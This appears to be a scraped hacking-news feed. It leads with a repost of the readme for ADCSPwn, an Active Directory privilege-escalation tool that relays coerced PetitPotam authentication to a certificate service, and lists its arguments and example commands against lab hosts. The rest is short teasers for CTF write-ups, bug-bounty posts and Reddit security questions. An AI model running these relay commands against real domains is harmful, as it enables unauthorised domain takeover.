KitPloit - PenTest Tools!
ADCSPwn - A Tool To Escalate Privileges In An Active Directory Network By Coercing Authenticate From Machine Accounts And Relaying To The Certificate Service

https://1.bp.blogspot.com/-UzDl9jD00d4/YRCreey7ejI/AAAAAAAApr8/x7S-sQFyjQY5Hv9Sn8Oj-vXEKiq5A_9rACNcBGAsYHQ/s320/active-directory.png
A tool to escalate privileges in an active directory network by coercing authenticate from machine accounts (Petitpotam) and relaying to the certificate service.
Usage

Run ADCSPwnon your target network.

authentication will be relayed to. Optional arguments: port - The port ADCSPwn will listen on. remote - Remote machine to trigger authentication from. username - Username for non-domain context. password - Password for non-domain context. dc - Domain controller to query for Certificate Templates (LDAP). unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) . output - Output path to store base64 generated crt. Example usage: adcspwn.exe --adcs cs.pwnlab.local adcspwn.exe --adcs cs.pwnlab.local --port 9001 adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001 adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --dc dc.pwnlab.local --unc \\WIN-WORK01.pwnlab.local\made\up\share ">Author: @_batsec_ - MDSec ActiveBreach
Contributor: @Flangvik - TrustedSec

adcspwn.exe --adcs <cs--port [local port] --remote [computer]

Required arguments:
adcs - This is the address of the AD CS server which authentication will be relayed to.

Optional arguments:
port - The port ADCSPwn will listen on.
remote - Remote machine to trigger authentication from.
username - Username for non-domain context.
password - Password for non-domain context.
dc - Domain controller to query for Certificate Templates (LDAP).
unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
output - Output path to store base64 generated crt.

Example usage:
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --dc dc.pwnlab.local --unc \\WIN-WORK01.pwnlab.local\made\up\share

Download ADCSPwn

Hacking on Medium
“Defend the Web” write-up (Intro 9— client code modification vulnerability)

https://cdn-images-1.medium.com/max/744/1*Oqxp_aTQSl1QESvD4maLLg.jpeg
This challenge is similar to the “Intro 6”.In this tutorial, we are not going to spend much time explaining what client code modification…

Continue reading on Purple TEAM »

Deep Web
Is "Imperial library of Trantor" down?

It's been a while since i last visited the deep web, so some of my saved links are out of date. If anyone knows the updated link pls send it to me. I would also appreciate if you guys could recommend similar sites.

submitted by /u/irbac5
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Lost mobile How do I track it?

Location is off, have access to google account and have IMEI number what can I do?

submitted by /u/No_Usual258
[link] [comments]

Hacking on Medium
HackTheBox Write-up: BountyHunter.

https://cdn-images-1.medium.com/max/720/0*V8QaH3587qkFEYz7.png
Enumeration

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Pegasus spyware is once again being discussed all over the world including India which is created…

What is Pegasus spyware || How to protect phone and laptop from Pegasus spyware.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
4 Hilarious Myths About Programmers

https://cdn-images-1.medium.com/max/2600/0*nv8tztiZkZbQdCme
After hacking, “Hacked” message doesn’t pop :P

Continue reading on JavaScript in Plain English »

Deep Web
yeah just delete my post assholes

submitted by /u/7ero_Seven
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Safe or not?

Is it safe to browser and visit sites on the deep web on tor browser on an iPhone? I have no intentions of actually purchasing anything or whatnot simply to browse sites and learn more about the dark web, is this safe to do on iPhone?

submitted by /u/investigator_kitty
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
My ex hacked me

I went to check facebook on ny phone and i was logged out of everything which was very odd. i entered my password and was told "this is an old password"

I recovered my account logged in and the last login was from a very unique specifc place where the only person i know from there is my ex.

She may have had a login from before (saved perhaps in her passwords) but after we broke up i changed my password. I dont have any email for a password change or lost password request.

Im pretty freaked out at how she hacked me and what else she might be able to do. Any advice appreciated and any knowledge of how she did this. Password pretty impossible to guess, but is one i use a lot so maybe had got it somehow before this. Pretty sure she would have loggin in before now though (a month after break up)if she had the pass , and would expect if she had the physical password rather than some recovery method, she wouldnt have change the password which then alerts me to it.

submitted by /u/eddy_ertang
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to avoid getting a RAT?

Hi can you guys help me understand how a rat works, can somebody rat my pc through knowing my IP only and discord account in my case, am new in cyber security i want to study and work as a CS in the future. And how to avoid getting a rat or just getting my browser cookies stolen, the guy that am scared from i think he knows my ip and he knows my discord account, how can i protect myself can he rat me, i know he can ddos me but i want to know about the rat.

submitted by /u/_M_I_T_I__N-M-
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Bug bounty: Payment bypass using Response manipulation

Hi friends,
Read more...

Buka Lapak BugBounty [ XSS Reflected ]

Bagaimana kabar kalian semua ? semoga semuanya sehat, disini saya akan membahas mengenai program bug bounty yang disediakan oleh bukalapak…Continue reading on Medium »
Read more...

Buka Lapak BugBounty [ XSS Reflected ]
https://medium.com/@joelaplnz/buka-lapak-bugbounty-xss-reflected-1f19903609f3?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Bagaimana kabar kalian semua ? semoga semuanya sehat, disini saya akan membahas mengenai program bug bounty yang disediakan oleh bukalapak…Continue reading on Medium » (https://medium.com/@joelaplnz/buka-lapak-bugbounty-xss-reflected-1f19903609f3?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video